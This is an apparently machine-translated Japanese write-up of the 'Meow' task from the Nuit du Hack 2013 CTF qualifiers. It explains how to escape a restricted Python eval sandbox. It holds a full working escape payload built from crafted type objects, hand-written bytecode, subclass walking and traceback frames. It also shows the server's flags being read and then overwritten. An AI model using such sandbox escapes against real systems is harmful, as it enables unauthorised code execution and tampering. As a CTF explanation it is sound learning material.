Nuit du Hack CTF 2013予選ラウンドは昨日行われました。いつものように、いくつかの投稿で、このCTFの興味深いタスクやソリューションについて説明します。詳細を知りたい場合は、私のw4kfuチームメイトもまもなく彼のブログに投稿する必要があります。
TL; DR:
auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())
「Meow」 と呼ばれるタスクの1つは、Pythonを使用したリモート限定シェルを提供します。このシェルでは、ほとんどの組み込みモジュールが無効になっています。
{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}
kitty()
猫の画像をASCIIで出力する、など
、いくつかの機能が利用可能でしたauth(password)
。認証をバイパスしてパスワードを見つける必要があると思いました。残念ながら、Pythonコマンドはeval
式モードで渡されます。つまり、割り当て演算子、印刷、関数/クラス定義などの演算子は使用できません。状況はさらに複雑になっています。 Pythonマジックを使用する必要があります(この投稿にはたくさんあります、私は約束します)。
最初は
auth
、パスワードを定数文字列と比較しているだけだと思いました。この場合、__eq__
常に返されるように変更されたカスタムオブジェクトを使用できますTrue
..。ただし、そのようなオブジェクトを取得して作成することはできません。Foo
既存のオブジェクトを(割り当てなしで)変更できないため、クラスを介して独自のクラスを定義することはできません。ここからPythonの魔法が始まります。タイプオブジェクトを直接インスタンス化してクラスオブジェクトを作成し、そのクラスオブジェクトをインスタンス化できます。方法は次のとおりです。
type('MyClass', (), {'__eq__': lambda self: True})
ただし、ここではタイプを使用できません。組み込みモジュールでは定義されていません。別のトリックを使用できます。すべてのPythonオブジェクトには、オブジェクト
__class__
のタイプを示す属性があります。たとえば、‘’.__class__
これstr
。しかし、もっと興味深いのstr.__class__
は、タイプです。したがって、を使用''.__class__.__class__
して新しいタイプを作成できます。
残念ながら、この関数
auth
はオブジェクトを文字列と比較するだけではありません。彼女はそれを使って他の多くの操作を行います:それはそれを14文字に分割し、長さを取り、奇妙なラムダでlen()
それreduce
を呼び出します。コードがないと、関数が望むように動作するオブジェクトを作成する方法を理解するのは難しく、推測するのは好きではありません。もっと魔法が必要です!
コードオブジェクトを追加しましょう。実際、Pythonの関数もオブジェクトであり、コードオブジェクトとそのグローバル変数のキャプチャで構成されています。コードオブジェクトには、この関数のバイトコードとそれが参照する定数オブジェクト、一部の文字列、名前、およびその他のメタデータ(引数の数、ローカルオブジェクトの数、スタックサイズ、バイトコードの行番号へのマッピング)が含まれます。関数コードオブジェクトは
myfunc.func_code
。で取得できます。これrestricted
はPythonインタープリターモードでは禁止されているため、関数コードは表示されませんauth
。ただし、独自のタイプを作成したのと同じように、独自の関数を作成できます。
ラムダがすでにあるのに、なぜコードオブジェクトを使用して関数を作成するのかと疑問に思うかもしれません。簡単です。ラムダに演算子を含めることはできません。そしてランダムに生成された関数はできます!たとえば、引数を
stdout
次のように出力する関数を作成できます。
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
(), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42
ただし、ここには小さな問題があります。コードオブジェクトのタイプを取得する
func_code
には、制限されている属性にアクセスする必要があります。幸い、もう少しPythonの魔法を使って、禁止されている属性にアクセスせずに型を見つけることができます。
Pythonでは、型のオブジェクトには、
__bases__
そのすべての基本クラスのリストを返す属性があります。また、__subclasses__
継承されたすべてのタイプのリストを返すメソッドもあります。__bases__
ランダムタイプで使用する場合、オブジェクトタイプ階層の最上位に到達し、オブジェクトのサブクラスを読み取って、インタープリターで定義されているすべてのタイプのリストを取得できます。
>>> len(().__class__.__bases__[0].__subclasses__())
81
次に、このリストを使用して、タイプ
function
とcode
:を見つけることができます。
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'code'][0]
<type 'code'>
必要な関数を作成できるようになったので、何ができるでしょうか。無制限のインラインファイルに直接アクセスできます。作成した関数は、
restricted
引き続き-environmentで実行されます。分離されていない関数を取得できます。関数auth
は__len__
、パラメーターとして渡したオブジェクトのメソッドを呼び出します。ただし、これはサンドボックスを回避するのに十分ではありません。グローバル変数は同じままであり、たとえば、モジュールをインポートすることはできません。アクセスできるすべてのクラスを見ようとしていました__subclasses__
それを介して有用なモジュールへのリンクを取得できるかどうかを確認しますが、役に立ちません。リアクターを介して作成した関数の1つを呼び出すだけでは不十分でした。私たちは、トレースバックオブジェクトを取得し、関数呼び出しのスタックフレームを表示するためにそれを使用しようとすることができますが、トレースバックオブジェクトを取得する唯一の簡単な方法は、モジュールを介して行われinspect
たりsys
され、我々はインポートすることはできません。この問題に遭遇した後、私は他の人に切り替え、たくさん眠り、正しい解決策で目が覚めました!
実際、以下を使用せずにPython標準ライブラリでtraceback-objectを取得する別の方法があります
context manager
。これらはPython2.6の新機能であり、Pythonで一種のオブジェクト指向のスコープを可能にします。
class CtxMan:
def __enter__(self):
print 'Enter'
def __exit__(self, exc_type, exc_val, exc_tb):
print 'Exit:', exc_type, exc_val, exc_tb
with CtxMan():
print 'Inside'
error
# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
<traceback object at 0x7f1a46ac66c8>
context manager
渡されたトレースバックオブジェクトを使用して__exit__
、サンドボックスの外部にある呼び出し元の関数にグローバル変数を表示
するオブジェクトを作成できます。これを行うには、これまでのすべてのトリックを組み合わせて使用します。__enter__
単純なラムダと __exit__
、トレースに必要なものを参照するラムダの両方を定義する匿名型を作成し、それを出力ラムダに渡します(演算子は使用できないことに注意してください)。
''.__class__.__class__('haxx', (),
{'__enter__': lambda self: None,
'__exit__': lambda self, *a:
(lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
(None,), (), ('s',), 'stdin', 'f',
1, ''), {})
)(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
if x.__name__ == n][0])
(a[2].tb_frame.f_back.f_back.f_globals)})()
もっと深く掘り下げる必要があります!次に、ブロックで意図的にエラーを発生させる関数でこれを使用する必要があります
context manager
(ctx
次のコードスニペットで呼び出します)with
。
def f(self):
with ctx:
raise 42
次に、作成したオブジェクト
f
として配置__len__
し、関数に渡しますauth
。
auth(''.__class__.__class__('haxx2', (), {
'__getitem__': lambda *a: '',
'__len__': f
})())
記事の最初に戻って、「実際の」インラインコードについて思い出してみましょう。サーバー上で実行すると、Pythonインタープリターが関数を実行
f
し、作成された関数を実行します。これにより、context manager
__exit__
呼び出しメソッドのグローバル変数にアクセスします。ここには、2つの興味深い値があります。
'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'
2つのフラグ?!同じサービスが2つの連続したタスクに使用されたことがわかりました。ダブルキル!
グローバル変数へのアクセスをもっと楽しくするために、読むだけでなく、フラグを変更することもできます。
f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })
フラグの使用は、次のサーバーの再起動まで変更されます。どうやら、主催者はこれを計画していませんでした。
とにかく、この問題を通常の方法で解決する方法はまだわかりませんが、このような普遍的な解決策は、読者にPythonの黒い魔法を紹介する良い方法だと思います。慎重に使用すると、生成されたコードオブジェクトを使用してPythonにセグメンテーションを強制するのは簡単です(Pythonインタープリターを使用し、生成されたバイトコードを介してx86シェルコードを実行するのはリーダーに任されています)。Nuit duHackの主催者の素晴らしい仕事に感謝します。